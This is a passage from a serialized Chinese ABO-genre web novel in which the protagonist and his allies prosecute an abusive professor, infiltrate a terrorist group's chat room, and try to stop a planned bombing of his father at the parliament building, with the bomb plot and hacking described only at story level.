顾景深也叹了口气:“白忙活一场,还以为钓到条大鱼,结果就是个不入流的猥琐Alpha,我们的线索又断了。” 他是看着沈之年废寝忘食的寻找,他也是最心疼沈之年的吗,这次计划中断,代表着沈之年又要回到之前的生活里······ 不是清道夫的的成员,连日的紧张和疲惫终于一起涌上了心头,沈之年精神一时恍惚,也没了询问的欲望, “就算不是清道夫,他也不是什么好东西。”沈之年把之前在陈序那里听到的消息一一两个Alpha说过,“还是把他身上的事情都问明白,然后送到警察那边去,免得以后还有无辜的Omega受害。” 伊桑主动接过任务,“哥哥,我来吧,你和景深哥都累坏了吧,这点小事就我来做吧。你们先回去休息。” 沈之年“嗯”了一声 走到窗边,看着窗外城市的霓虹。夜色浓重,仿佛隐藏着无数未知的危险。周然不是他要找的人,这只是一个令人作呕的巧合。 他的追寻,再次陷入了僵局—— 沈之年深吸一口气,靠在顾景深的肩上:“看来我们又需要重新开始了。” 第80章 空气沉重得让人喘不过气。 星环合众国的徽志高悬, 冰冷地俯视着下方的人间。 旁听席上每一张脸都绷得紧紧的,目光聚焦在被告席那个穿着不合身囚服,却依旧试图挺直脊背的男人——陈峻。 “审判长, 各位陪审员,”律师摊开手,脸上带着恰到好处的困惑与无奈,“我的当事人, 周然教授,一位在学术界享有盛誉, 长期致力于社会公益, 特别是Omega权益研究的学者, 如今却因为一些捕风捉影的指控,一些缺乏直接证据的所谓‘受害人’陈述,而站在这里。这本身就是一个悲剧。” 他顿了顿,目光扫过检控官和作为原告代理的伊桑。 沈之年现在不方便露面,他裹的严严实实坐在陪审席,几乎要被气死。 “检方提出的所谓‘证据’, 那些模糊的偷拍视角照片,来源不明;那些关于不当言语的指控,完全基于单方面描述,缺乏任何客观佐证。甚至, ”律师加重了语气, 几乎带着一丝嘲讽,“其提取过程存在严重的程序瑕疵,违反了证据规则。根据刑事诉讼法相关规定,理应予以排除!” “反对!”伊桑霍然起身,“目前提出的被害者名单与被告人犯罪动机和行为模式高度吻合……” “程序正义是实体正义的保障!”律师毫不客气地打断, “我们不能为了追求所谓的‘结果’,就罔顾法律规定的程序!没有这份非法证据,检方的指控体系还剩下什么?一堆猜测和联想吗?” 审判长眉头紧锁,与左右两位审判员低声交换意见。旁听席上响起一阵压抑的骚动, 沈之年的身边,坐着几名受害者受害者,身体开始微微发抖。 周然的嘴角几不可查地向上牵动了一下,那是一种极力压抑的、属于胜利者的弧度,眼神中甚至掠过一丝轻蔑。他似乎在说:看吧,你们奈何不了我。 审判现场陷入了僵局。检控官的脸色难看至极,他试图争辩,但在确凿的程序漏洞面前,所有的语言都显得苍白无力。空气仿佛被抽干,希望正一点点从原告席上流失。 就在审判长似乎准备采纳辩方意见,宣布对证据予以排除的刹那—— “审判长!” 一个声音从旁听席后排响起,不高,甚至带着明显的颤抖,打破了令人窒息的沉寂。 所有人都循声望去。站起来的是一个年轻男生,戴着黑框眼镜,面容清秀却此刻涨得通红。是那个曾经在走廊里叫住沈之年,欲言又止的男生!那个周然曾经的学生,陈序。 陈序深吸一口气,仿佛用尽了全身的力气,他从随身携带的旧帆布包里,小心翼翼地拿出了一个东西——一支看起来再普通不过的黑色钢笔。 “我……我有证据。”他的声音依旧发颤,但每个字都清晰地传遍了安静的法庭,“真正的证据。” 周然脸上的从容瞬间冻结,眼神第一次露出了惊疑不定的神色。 “这是什么?”审判长问。 “这是一个……微型摄像机。”陈序举起那支“钢笔”,“是……是我偷偷录下的。我第一次看到他那个样子……只是觉得害怕,想留个凭证。” 他按下笔帽上一个微小的凸起,一道细小的蓝色指示灯亮起。他看向审判长,眼神恳切而坚定:“这里面,记录了很多他的罪行” “反对!”周旭的律师猛地站起来,声音尖厉,“这是非法偷录!不能作为证据!” 他直接点开了播放键,并将“钢笔”连接到了法庭准备的证据展示设备上。 巨大的屏幕亮起,画面有些晃动,角度也有些偏低,显然是在窗外偷拍。 画面中是周然间熟悉的办公室,他背对着窗户,坐在宽大的办公桌后, 视 频里的周然,脸上还是带着一种那种温和的笑意,他正用手指敲着桌面: “……年轻人,要懂得利用资源。”他扫视眼前的学生,“我是愿意帮你的······” 周然说着,就在杯子里倒入了一些粉末状的东西,然后递给了学生······ ······ 画面外,是陈序压抑着恐惧的呼吸声。 “砰!” 周然猛地从被告席上站起,脸色煞白,嘴唇哆嗦着,想要说什么,却一个字也发不出来。他精心维持的儒雅面具在这一刻彻底粉碎,露出的是一片惊慌和狰狞。 审判长和其他的两个法官相互对视一眼,“如果有其他证据请在庭后提交。” 这次······ 沈之年的心高高的悬起,生怕法官拒绝这份不太正当的证据, “现在先休庭。” 沈之年的心突然就放回了肚子里—— 和伊桑还有律师短暂的交流过一下 沈之年拖着沉重的脚步推开家门,今天的事情堵在他心口。 他进门随手把用来扮演好学Omega的包随手丢在玄关,甚至没力气开灯。 “回来了?” 沈之年没看顾景深一眼,就闷着头往房间走,毕竟一会之后,顾景深就会跟进来释放信息素。 但是这次顾景深没有任由沈之年垂头丧气的回去,他拉住沈之年的手腕。 沈之年这才发现, 客厅中央,顾景深蹲在地上,周围摆着七八个毛绒玩具——歪嘴笑的小狐狸、戴墨镜的熊,还有一只穿花裤衩的青蛙。他正小心调整它们的位置。 “这是……”沈之年愣在原地。 “嘘。”顾景深竖起手指,按下手机播放键。一首荒腔走板的《天鹅湖》响起。他抓起两只玩具,让狐狸和熊开始笨拙地跳舞。狐狸的尾巴不时拍在熊脸上,熊的墨镜滑到鼻尖。 沈之年忍不住弯了弯嘴角。 音乐渐强,顾景深手忙脚乱地加入更多“演员”。青蛙翻了个跟头,兔子撞上企鹅,整个“舞团”乱作一团。最后,他从身后变出一只戴王冠的小仓鼠,让它优雅地转了个圈,然后所有玩具齐齐倒下——谢幕。 沈之年终于笑出声来。 “都是哄孩子的手段。” 顾景深放下玩具,走过来接过她手里的包,“不管什么手段,有用就行了。” 他拉起沈之年的嘴角,“我看看我们小王子是不是笑了。” 沈之年指指那堆横七竖八的“演员”, “你什么时候翻出来的这些?” 沈之年点点这些玩偶,还有一点怀念,这都是之前在顾家的时候他做的玩偶。 离婚之后,沈之年把自己的所有东西都打包带走,但是回到家里,还有其他的摆件这些东西也没地方摆。 搬到这里的话,又十分忙碌也没时间收拾这些,没想到会被顾景深翻出来当玩具。 顾景深有点得意,“帮你洗衣服的时候,从储物间翻出来的,都是之前咱们家里的摆件,我只是给它们设计了点‘艺术生命’。” “那只青蛙,”他指指四脚朝天的玩偶,“跳得还不错。” 顾景深眼睛一亮:“我就说嘛,它可是C位!” “我会陪你接着找的,”顾景深知道,沈之年的疲惫不仅是因为今天没能把周然绳之以法,还在担心线索又断了的“清道夫”。 “别担心。” 沈之年叹息一声,点点顾景深的额头就要回去休息。 顾景深紧紧的跟在沈之年的身后, 沈之年走到门口突然转身看向顾景深:“怎么?你要进我卧室?” 其实之前顾景深进去的也不少,不过一般都是在沈之年睡着之后,偷偷进去释放信息素让沈之年能睡的好一些。 这么明目张胆跟着沈之年进去还是头一次。 “我以为我可以得到一个名分了。”顾景深看着沈之年。 沈之年浅浅的摇头,“名分恐怕给不了你,薛明亦还占着呢。” 不知道是不是心境的转变,顾景深甚至能够听出此刻沈之年的调侃。 “我又不是傻子。”顾景深拉拉沈之年,“这么多天,薛明亦别说是陪在你身边,你主动约见他都没有几次,他怎么可能是你的爱人。” 顾景深向前一步,身影笼罩住沈之年,“年年,你骗我骗得好苦。” 沈之年最近确实没心情维持这个骗局,被顾景深发现也是情理之中的事情,或者说,其实他也不在意顾景深发现还是没有。 “看你喜欢做情人,给你个机会。”沈之年说完,捏了捏顾景深的脸颊。 这动作看起来颇为轻佻,但是顾景深觉得这两下轻轻巧巧的,捏在他心上似的,他的心无端就漏了几排。 “那我现在能转正么?” 沈之年还没来的及说话,光脑突然就响起来。 沈之年拿出来看,竟然是伊桑。 可能是孩子大了,伊桑在面对他的时候很有边界感,很少主动亲近他。 沈之年点开通信,伊桑一句话就让他一愣,“哥哥,那个陈序,你还记得么?” “我现在怀疑他和“清道夫”有联系。”《 》 80-90 第81章 伊桑推开面前那杯早已凉透的茶, 指节按在太阳穴上轻轻揉动。 “陈序先生,感谢您愿意配合我们工作。”伊桑抬眼看向对面的陈序,声音平静如水。 陈序穿着洗得发白的衣服, 双手紧张地互相搓揉。他一个学生,站起来举报自己的老师已经用尽了全部的力气,没了老师他后面能不能毕业都是两说。 “我、我知道的昨天都说了。”陈序眼神闪烁,不敢直视伊桑。 “理解, 只是例行补充几个细节。”伊桑翻开笔记本,语气轻松, “过几天检察官可能会对你有更加详细的闻讯, 我们可以模仿一下, 你别害怕。” 陈序舔了舔干燥的嘴唇:“那天我就是路过,其实周老师说的好,实际就是一个A权至上的人,他从心底里看不上我,一般没事的时候我就也不凑到那边去,那天我的论文已经不能再拖了, 他总是不肯回我的消息,所以···我才去找他。” 伊桑点头,笔尖在纸上划过。 “所以你拍了下来?” 陈序犹豫了一下:“对不起,我承认, 最开始我是想要用这个视频威胁他的, 但是我害怕,一直不敢拿出来······” “没关系。”伊桑放下笔,他也开始学习沈奉月和沈之年说话,“这不是你的错。” 陈序额头渗出细密汗珠,伊桑虽然长得足够柔美, 但是本质上还是一个等级不低的Alpha, 伊桑不再追问,转而问起陈序的工作情况。他起身为他添水,谁知道陈序竟然更加紧张了,双手颤抖着握不住水杯。 陈序举起光脑,颤巍巍的递给伊桑,“对不起,我很害怕Alpha······您自己看吧······” 伊桑当然表示理解,虽然这些证据,伊桑已经不止看过一次,但是还是百无聊赖的翻起来,给陈序缓过来的时间。 他前后乱翻的时候,突然看到了一张照片,是一个邀请函, 素白的邀请函上面什么都没写,只有暗红色纹路若隐若现——三条波浪线,中间那条被一个点贯穿。 他们追查“清道夫”也不是一无所获,他敢肯定这个标志与“清道夫”组织有关。 这个组织一直在威胁叔叔和哥哥的生命,现在线索突然就出现在他的面前, 他稳住微微发抖的手,若无其事地坐回位置。心脏在胸腔里狂跳,像要挣脱束缚。 冷静,伊桑,必须冷静。 “陈先生,您读研究生几年级了?”他语气轻松,仿佛只是随口一问。 “三年级了。”陈序明显松了口气,不像是刚才这么紧张。 伊桑微笑,手指轻轻转动笔杆:“那其实如果这次你不站出来,就能够成功毕业了。” 陈序下意识缩回手:“嗯,但是他不会让我毕业的,他会留下我一直做杂活。” 伊桑点头,眼神温和,大脑却飞速运转。 “理解,读书不易。”他叹息一声,合上案卷,“主要问题都问完了,不过还有些程序要走,您再坐一会儿?” 陈序点头,神色放松许多。 伊桑起身走向档案柜,背对着他,却能感觉到他注视的目光。他故意翻找文件发出声响,同时用眼角余光观察着陈序的一举一动。他正不安地看向窗外,右手无意识地摩挲着手腕。 伊桑在心里已经暗暗确认陈序不是善茬。 虽然现在很晚了,他还是给哥哥发了消息—— 他从抽屉里取出一个证物袋,里面装着一枚纽扣——上面有潮汐的标志。 是伊桑自己做的。 “陈先生,您想过假如Omega福利保障部门么?”他转身将证物袋放在桌上,恰好能让陈序看到,但是伊桑好像是无意做出这个行为一样,还在继续他自己的话题,“毕竟您专业也挺对口的” 陈序愣了一下,视线不自觉地就往袋子上面飘:“没有,Omega协会的工作总是倾向Omega,一些特种工作也倾向Alpha,我们这种被Beta总是不受待见······” 就在他又一次看向证物袋的瞬间,伊桑状似无意地用手指点了点那个证物袋:“您好像对这个标志很熟悉。” 空气凝固了。 陈序的脸色瞬间惨白,嘴唇微张,眼神中闪过一丝惊恐。他猛地低下头,支支吾吾的 “我···我不知道······”他声音干涩。 伊桑没有移开目光,只是轻轻将陈序的光脑转了个方向,推到对方面前。 “陈先生,这是什么。”他声音极轻,却如惊雷在狭小空间炸开。 陈序的身体僵住了,汗水顺着鬓角滑落。 伊桑向前倾身,压低声音:“我不是在调查你,我只想知道“清道夫”的事,你知道的,这是我的职责范围。” 其实伊桑根本不是Omega协会的人,但是这不妨碍他说谎。 长时间的沉默,只有陈序粗重的呼吸声。 “我不明白你在说什么。”他终于挤出这句话,声音嘶哑。 伊桑从口袋中掏出一张名片,推到陈序面前。 “这是我的名片,告诉我关于他的消息,你能得到你想要的一切,”伊桑声音充满了诱惑力,“你一个Beta,何必为了他们卖命呢,抓住我能给你的,不好吗?” 陈序的目光在名片上停留了片刻,眼神复杂。 伊桑注意到他手指的轻微颤抖,继续轻声说道:“我知道你可能害怕。但是如果你一直不肯交代,我只能把你交给星警,他们应该也需要一份功绩,只是不会有我这么好说话。” 陈序抬头看向伊桑,眼中满是挣扎。良久,他长叹一声,仿佛卸下了千斤重担。 “我……我确实知道‘清道夫’。”他声音嘶哑,“但我已经很久没和他们联系了。” 伊桑屏住呼吸,轻轻坐回椅子上:“请继续说。” “准确的说,是周然已经很久没和他们联系了。”陈序眼神飘远, “不可能。”他们之前就审问过周然,敢保证周然和这个组织没有任何关系。 陈序拿起桌子上的水,哆哆嗦嗦的喝了一口,“周然看不上我,所以他的杂活都是我在做,包括信件收发,那次我看到了这个邀请函······” “信件?”伊桑重复了一句,怪不得这些人的行踪这么难寻,能够完全避开现在的天眼网络,原来是在采用这么古老的方式,信件已经很少人用了,他们追查的时候也没有往这边想。 陈序点头:“我也很惊讶竟然有信件,我取得时候就看到了这个邀请函。” “我当时鬼迷心窍了,我想连联系周然的一定是好东西,反正周然也不知道,如果我扮作周然,能不能从内获利?”陈序说起这个的时候声音还在微微的颤抖。 “我以为这是个学术组织,我只想要利用里面的关系把我的论文发了。” 学术界确实比较陈旧,喜欢搞点复古的东西,陈序有这样的怀疑也很正常…… 伊桑的心沉了下去:“然后呢?” “然后我进去之后才发现,那完全就是一个犯罪组织······” “我在网上也查不到里面的消息,我想要报警,但是里面的人太神通广大了,他们好像什么事情都能做成,我不敢······” “后来呢?”伊桑追问。 “周然的等级不高,接触不到什么核心的消息,他们会给他分配一些小任务,有一次是去当街劫走一个Omega······” 他停顿了一下,眼中满是愧疚:“我什么都没做,我不敢,那些消息我也不敢在回复······” “我只留下了这张邀请函。” 陈序说着说着就留下了眼泪,“我真的很愧疚,我明明知道谁要受害了,但是不敢站出来告诉他们,每一天,每一天这个愧疚都在折磨我。” “所以这次我站了出来,我不能再退缩了······” 第82章 “所以你的意思是, 他们联系过周然,但是消息被你拦下,你曾经扮演周然进入了这个组织?”沈之年带着怀疑和犹豫问出这段话。 伊桑给沈之年发消息的时候, 他就直接赶过来了, 他真的想他苦苦寻觅不到的消息,就这么降落在他眼前。 他真的能相信么? 陈序完全没看出沈之年眼中的指望挣扎,他甚至没有敢抬头看沈之年。 他整个人都在瑟瑟发抖, 良久才憋出一句话,“是的。” 然后赶忙解释, “我真的不知道他们是那样地组织, 我当时只以为是什么学术团体, 你知道的,那些教授都是这样地,我最开始真的只是想从里面获取一点资源。” 在现场的几个人中。 沈之年上的是Omega学院,伊桑刚刚高中毕业,顾景深当年上的是军校,没有研究生这个配置······ 三个人相互看看对方, 竟然都不能判断对方话里面的真假。 虽然陈序这个人说话地时候很真诚。 陈序看着这三个人面色几番变化,不肯说话。 脸整个都垮了下来,“我说的都是真的,我家里条件也不好, 一直都在老老实实地念书, 真的没有能力做这些违法乱纪地事情,你们相信我啊!” 没办法,沈之年只能求助林之白——由于假扮Beta所以一路读到了研究生,成为目前唯一以为受过普通本科以及以上教育的人。 ······ “你知道么,我组里只有我一个Beta, 其他人都是Alpha,他就是看我家里没有什么关系,他知道我一个Beta需要学历好欺负,组里所有的杂活儿都让我做······” “这些我都可以不在意。”陈序说着说着,严重已经盈满了热泪, “但是我好不容易写出来的论文,他也给别人了。” “我马上就要毕业了,没有小论文,我怎么毕业啊。” 陈序开始抽泣,林之白的脸色也渐渐的难看起来,随着陈序的叙述,他渐渐的低下了头。 ······ “我觉得像真的。” 等到结束对话的时候,林之白已经完全面色衰败,好像是做了一个无比恐怖的噩梦一样。 “至少他说这段话的时候还是挺真诚的。” 林之白喝下一口热水,跟着过来的薄斯年殷勤的给他揉肩膀,“读研究生真的这么痛苦啊,我那会还挺好的。” “还挺轻松的。” 林之白翻了个白眼,连话都懒得和这位含着金汤匙的大少爷讲—— “周然真的什么都不知道?”沈之年又和陈序确认。 “真的什么都不知道。”陈序又肯定了一次。 这个沈之年地猜测倒是基本一致。 他对顾景深这点基本地信任还有,如果被一个周然这样一眼都能看到头地人骗过,顾景深也走不了这么远。 其实他们之间怀疑周然也有这样的原因。 像周然这样,有一定的身份地位,心中又对Omega十分不满的人,其实十分符合他们对于“清道夫”的人物画像。 议会的时间渐渐的近了。 他们只抓到了这一个线索,不论如何都要抓住,沈之年和顾景深交换了一个眼神。 沈之年悄悄的走到后面,由顾景深顶上。 “我们需要你做件事······” 他敲了敲桌子,本来就已经受惊的陈序,在高等级Alpha的威胁下,跟着这两下敲击狠狠的颤抖了两下······ 沈之年跟着柔声说,“你千万别害怕,只是一点小忙。” “我们也知道你在周然手下讨生活不容易,那个组织,你应该或多或少也得到了一些风声,是一个臭名昭著的恐怖袭击组织,你现在揣着这个秘密也是定时炸弹。” “不如我们帮你过了明路,好么?这样你也不用再害怕了。” 其实陈序早就被吓破了胆子,现在听着美人这样轻声慢语的说上几句话,早就脑子都不清醒了。 连连的点头,生怕点慢了就跟不上了—— 凌晨三点十七分,屏幕的冷光刺的人眼睛痛。 沈之年盯着聊天界面,手指在键盘上悬停了太久,关节有些发僵,其实顾景深说过让人盯着,但是沈之年自己还是不放心,一定自己也要过来看着。 屏幕上,论坛的最新帖子在刷新: “又一个见人登上了杂志封面,笑得多甜啊,谁知道怎么爬上来的?” “Omega还能怎么爬上来,现在社会风气就是被这些Omega搞乱了。” 沈之年滚动着这些帖子,面无表情。 他熟悉这种语气,这种愤怒。这几天他一直假扮“周然”的身份在混迹在论坛里。 不知道“清道夫”这个组织背后究竟是谁,虽然进入了他们闲聊的地方,但是竟然还是不能按图索骥,摸到他们的老巢。 为了得到更多的消息,沈之年已经学会了用同样的腔调说话,发过精心伪造的“遭遇不公”经历,一来二去竟然在这个匿名论坛里成了一个半生不熟的面孔。 但真正的核心,他连边都没摸到。 但是人就有松懈的时候,不停的换人在群里盯屏幕多多少少还是有一些用处的。 他们看到过一些零散的消息。 他们好像在准备什么材料,这份材料并不好找,那个人找到那天太开心了,在群里露出的口风。但是也不过是一两句,什么“什么我搞不到啊。” 然后就有人吹捧他。 这是一个闲聊群,里面的人就更加的放松。 除此之外,沈之年还是一无所获。 更多的是完全无用的消息,没完没了对社会,对Omega的抱怨。 还有一些低俗的评价。 ······ “年年,他们确实有更加核心的圈层。”顾景深突然冲进房间。 “真的?!” 顾景深手下的技术员还是有几把刷子,这些天一直在加紧工作,终于在最后找到了一个能够窥到他们核心层的通道。那不是什么完整的进入方式,而是一堆混乱的代码片段,并不是稳定的入口。 顾景深几次强调,在里面千万小心。 毕竟不知道内部是否有其他的防护措施。 当沈之年在特定端口发送了一段特定频率的数据包后,屏幕跳出了一个纯黑色的登录界面。 没有logo,没有提示,只有一个输入框和一行小字:“名号”。 他按照顾景深的交代直接跳过了这个界面。 界面刷新,进入了一个极其简洁的聊天室。左侧成员列表里只有几个灰色头像,名字简单得像代号:祭司、磐石、园丁、哨兵、织工。 聊天记录少得可怜。最新的一条是三天前: 磐石:“东区的材料已经备齐,纯度符合要求。” 祭司:“收到。通道近期有检修,时间窗口确认在后半周。” 再往前翻: 织工:“目标人物下月行程已确认,每周三上午固定出现在议会大楼,时间窗口稳定。” 园丁:“收到。执行人已就位,待命。” 没有上下文,没有具体人名,但沈之年背脊发凉。他截屏、录屏,保存每一条信息。 接下来的一段时间,他几乎不眠不休。他看着这个聊天室,像观察一个休眠的火山口。 里面的发言很少,有时一周才有一两句,但每句都指向某种正在推进的计划。 他只是看,分析每个人的发言习惯。 每天,顾景深手下的专业人员也都会分析他们的对话,沈之年会短暂的看一看。 “祭司”显然是决策者,语气简短权威;“磐石”负责物资和技术,发言务实;“园丁”涉及人员安排;“织工”专注信息搜集;“哨兵”疑似负责安全与撤离。 ······ 也许是因为这是他们的行动群,没什么人闲聊。 这些人的防护意识也很强,就算是在群里说话,也尽量使用简短的对话。 甚至到了现在,沈之年还是分不清他们究竟在谋划什么。 这些事情乱糟糟的堆在沈之年的脑袋里面,让人头痛, 他下意识的靠向坐在身后的顾景深。 看着沈之年眼底泛起来的血丝,心里更加的难受,“我让人看着呢,漏不下什么消息的,年年,” 其实这几天,顾景深的腺体内容也不太充裕了。 这些道理沈之年怎么可能不知道呢,但是沈之年根本放不下,离开那个屏幕一秒钟,沈之年的内心就是不安的。 他用埋进顾景深的胸口狠狠了吸了一口信息素。 又下意识的看向了光脑。 突然,加密聊天室跳出一条新消息。 不是来自任何已知成员。是一个陌生的红色ID:“信差”。 消息只有一行字: “下周三10:00,议会东廊,礼物送达,接收人:沈奉月。” 沈之年盯着屏幕,有那么几秒钟,大脑一片空白。然后,一股冰冷的寒意从脚底窜上头顶。 “礼物”。在这个组织的语境里,绝不可能是鲜花或贺卡。 消息在屏幕上停留了五秒,然后像被擦掉一样,消失了。没有记录,没有痕迹,仿佛从未出现。 沈之年猛地站起来,椅子腿在地上刮出刺耳的声音。他深呼吸,强迫自己冷静,走回电脑前。 “顾景深,快,问问你的手下,方才······” 沈之年的话说到一般,戛然而止,那个简洁的页面突然不见了······—— 作者有话说:高估自己了,没写完,今天再写6000 第83章 沈之年的心脏骤然一缩。 他迅速检查连接线——都插得好好的。强制重启光脑, 进入系统,打开那个特定的加密浏览器—— 登录界面消失了。 不是密码错误,不是连接失败。是那个纯黑色的的登录界面, 彻底不见了。 他收藏的网关地址依然存在,但点击后返回的只有一行冰冷的错误代码:“404 - 节点不存在”。 他试了备用入口,试了之前啊陈序偶然提过一次的旧版网关,甚至试了他自己在这段时间里悄悄埋下的几个后门——全部失效。 仿佛那个空间, 从未存在过。 冷汗瞬间浸湿了他的后背。他们发现了他的窥探了么? 不可能——没有任何预警,没有任何异常对话, 没有任何其他的迹象。 那难道是最后的告别? 不是针对他的清除。是整个聊天室的自我销毁。是计划进入最终执行阶段后, 核心层切断了所有非必要的线上联系。这是极端组织的标准操作程序——在行动前最后一刻, 化整为零,消除数字痕迹。 整个门都被焊死了。 沈之年站在房间里,第一次感到一种冰冷的、无处着力的恐慌。 光是知道他们会对沈奉月发起袭击这件事就足够令他恐慌。 更何况他现在失去了得到信息的途径。 现在,他聋了,瞎了。 他强迫自己坐下,深呼吸。手指因为用力而指节发白。不能乱。 顾景深拍拍沈之年的肩膀, “没关系,还有时间,我会让他们加紧寻找新的入口,别怕。” 沈之年有点犹豫, 他担心这根本不是入口被封死了, 他把自己的担忧告知顾景深。 顾景深的面色也严肃起来。 他更明白这个情况发生的可能性有多大。 “之前我们并不是一无所获,年年,议会的场所是固定的,就说明他们可以采取的行动就是有限的不是么?” 顾景深拉住沈之年的手,手心一片潮湿的冰冷, 都是冷汗。 “至少他们像在议会实施犯罪活动,他们的时间,地点是可知的,他们进出的路径,进出的方法就也还是有限的。”顾景深一边说,一边释放安抚的信息素。 沈之年的情绪逐渐稳定,顾景深说的有道理 顾景深把刚才端过来的水递到沈之年嘴边,沈之年浅浅的啜饮了几口。温暖的水让他整个人的体温回升。 也让他混沌的大脑清醒了些。他打开另一个加密笔记本,调出所有备份资料。 过去这段时间里,他像拼图一样收集的碎片: 他们一直在秘密采购一些东西,后面分析认为是在采购化工材料,现在的战斗早就脱离了传统的热武器,但是传统炸弹想要炸死一个人类,尤其是一个Omega还是绰绰有余。 因为传统炸弹不再常见,所以对炸弹的检查也不会那么严格,也符合他们之前利用传统邮递来发展下线的行为。 之前他们还分享过市政工程时间表、建筑结构数据。 多半就是想要在市政大厅安装传统炸弹。 顾景深整个人把沈之年包在怀里,“时间也可以进一步确认,他们本质是希望破坏岳父的计划,那一定要不是在岳父发言之后。” 沈之年没心情纠正他的称呼。 “因为在发言之后,岳父殉职,只能引起群情激愤,岳父就变成了正直的殉道者,会成为镌刻在人类历史上的人物,一定会有人借着这个机会实现岳父最后的政治抱负。” 他说的话有一点不吉利,沈之年轻轻捶了一下他的胸口,但是不得不承认,顾景深说的的确有道理。 顾景深含笑接了这一下,“他们会在来的路上或者在岳父的座位附近,更加极端一点,我甚至觉得,可以在发言的中间。” 至少我会这么选择。 沈之年调出议会大楼区域的详细地图,标注出每一个节点。车库B2层的通风管道入口……在东南角,靠近配电室。西侧围墙缺口……地图上显示那里确实有一段围墙正在维修,有施工围挡。滨江步道第三个长椅……从缺口出去,向右走约八十米。 所有这些信息,他都记得,都分析过。 “现在的时间还很充裕,所以只要我们做好传统炸弹的排查······” 顾景深摇了摇头,“那恐怕不行,现在对他们来说,时间也足够充裕,如果他们察觉到我们的行动转变行动方案,我们真的就无能为力了。” 他们需要一个时机。一个既能阻止爆炸,又不至于逼对方提前动手的时机—— 清晨的街道已经苏醒。通勤的人群,早餐摊升腾的热气,洒水车播放着单调的音乐。议会大楼所在的政务区渐渐热闹起来。沈之年换乘了两次地铁,在距离议会大楼还有一站的地方下车,步行前往。 为了不打草惊蛇,今天带来的人很少。 他们已经尽量做出了完全的准备,沈之年提前看过不知道多少次的地图, 和顾景深手下的专业团队一起商量出来了可能安放炸弹的时间和地点。 沈之年到达目的地的时候,沈奉月还在检查场会上面的布置,这对于他来说也是完全不同的一天。 如果今日的提议能够通过,Omega们的人生一定可以得到翻天覆地的改变。 他们不需要再把人生圈禁在家庭中间,可以做科学家,可以做老师,可以做律师,可以做政客,可以做他们之前不敢想象的一切! 耳朵里的通讯器陆陆续续传来声音,“一号点位没问题!” “二号点位没问题!” “三号点位没问题!” ······ 竟然所有的位置都没有问题,沈之年的脸上露出了迷茫。 是他的推断全然出错了么? 那些人发现了他的窥探? 他们更换了计划? 那父亲怎么办,会不会遇到危险?? 沈之年茫然的看向台上。 台上,沈奉月似乎终于满意了所有布置,退开两步,目光慈和地环顾了一下会场,像是在欣赏自己的作品。然后他转身,走向台侧,那里站着一位穿着熨帖工装、眉头微锁的音响师,正俯身检查讲台下方复杂的线路接口。沈奉月低声和他说了句什么,音响师点了点头,手里的动作没停。 沈之年的目光落在音响师身上。四十岁上下,个子不高,动作利落,眉头那点“川”字纹显得格外专注。他伸手去调整固定在演讲台上的麦克风支架,将麦克风的角度向内侧稍稍扳动了一点。很细微的动作,似乎是为了让沈奉月待会儿发言时声音收录效果更好。 接着,他直起身,似乎想查看连接线,左手顺势扶了一下演讲台厚重敦实的木质侧面。袖口随着动作向上缩了一截。 沈之年的瞳孔骤然收缩。 不对劲,这个音响师好像是一个Alpha。 这样寻常的工作很少有Alpha会选择。 哪怕是在市政厅做音响师。 他的呼吸几乎停滞了一瞬,随即强迫自己移开视线,手指却无意识地收拢,掐住了笔记本光滑的纸页。不能看。不能引起任何警觉。 音响师很快放下了手,袖口垂下。他脸上没什么表情,高大的身形缩成一团,好像是在减少自己的存在感一样。 他又检查了一下讲台侧面的几个接口,然后拿起工具箱,从台侧的小楼梯走了下去,汇入台下工作人员稀疏的人流中,很快就看不见了。 沈奉月还站在台侧,和另一位工作人员轻声交谈,脸上依旧是那副和煦的笑容。 流程按部就班地进行。主持人上台,致简短欢迎词,介绍与会的重要来宾。掌声规律地响起,又落下。一切平稳得令人心头发慌。 沈之年低下头,翻开笔记本,假装记录。纸页空白,他的指尖却控制不住地微微发抖。音响师下去了,暂时离开了那个位置。但炸弹如果真的在“眼皮底下”,最可能在哪里?讲台?麦克风?那盆被精心调整过的兰草? 不。如果是那样,太容易被发现。安装也过于困难。沈奉月调整兰草的动作自然流畅,不像有鬼。 一个音响师,能接触到核心设备,有机会在设备上做手脚而不引人怀疑。 沈之年的思路飞速转动。炸弹需要触发。定时?遥控?声控?在这个场合,声控几乎不可能,背景噪音太大。遥控信号可能被屏蔽或干扰。最可靠的是定时,或者……手动触发。 手动触发,需要有人在附近。音响师已经离开台前区域。 除非…… 他的目光再次扫向二楼那面巨大的、单向透光的控制室玻璃。音响师会不会去了那里?从那里,可以掌控全场声音,也有最佳的视角。如果炸弹藏在某个音频设备里,他完全可以从控制室进行最后的确认甚至遥控。 或者,他需要再次接近讲台,才能完成触发。 时间不多了。介绍环节即将结束,接下来就是沈奉月的重要发言。 沈之年合上笔记本,动作轻缓地站起身,尽量不引起旁人注意。他沿着座椅间的空隙,向侧后方走去,那里有一扇通向内部工作区的门,门口站着一名安保。 “您好,”他压低声音,对安保出示了自己的证件,“我是Omega协会的沈之年,有点急事需要联系一下我们主任,关于待会儿通稿的几个提法,需要立刻确认。” 安保接过证件仔细看了看,又抬眼打量他。沈之年脸上带着恰到好处的急切和一丝因打扰而产生的歉意。 证件是真的,理由也合理。安保点了点头,侧身让开,指了指里面:“办公区在那边,请不要进入核心控制区域。” “明白,谢谢。”沈之年接过证件放好,快步走了进去。 门内是一条相对安静的走廊,铺着浅色地毯,光线比会场内柔和。两侧有几个房间,门牌上标注着“设备间”、“物料室”、“工作人员休息室”等。走廊尽头,是一段向上的楼梯,通往二楼控制室。 他没有直接上楼梯。而是在靠近楼梯口的一个拐角停了下来,这里刚好有一盆高大的绿植作为遮挡。他屏住呼吸,侧耳倾听。 楼上有隐约的、被厚重墙壁和门板过滤过的说话声,听不真切。还有设备运行时轻微的嗡鸣。 过了一会儿,楼梯上传来脚步声。不是下来,而是上去。脚步略显急促。 沈之年微微探出一点视线。是那个音响师。他手里没再拿那个工具箱,而是拿着一个平板电脑似的东西,一边上楼梯,一边低头看着屏幕,手指在上面快速滑动。 他的心猛地一沉。工具箱没带下来,留在台上了?还是已经处理了? 他不能再等。 等音响师的身影消失在二楼楼梯口,沈之年迅速转身,没有退回会场,而是沿着走廊向另一侧快速走去。他记得刚才路过时,看到了一扇标着“弱电井”的门。 门没有锁,轻轻一推就开了。里面空间狭窄,布满各种线缆、管道和开关箱,空气里有股淡淡的灰尘和金属味道。最重要的是,这里通常与主控线路有交集。 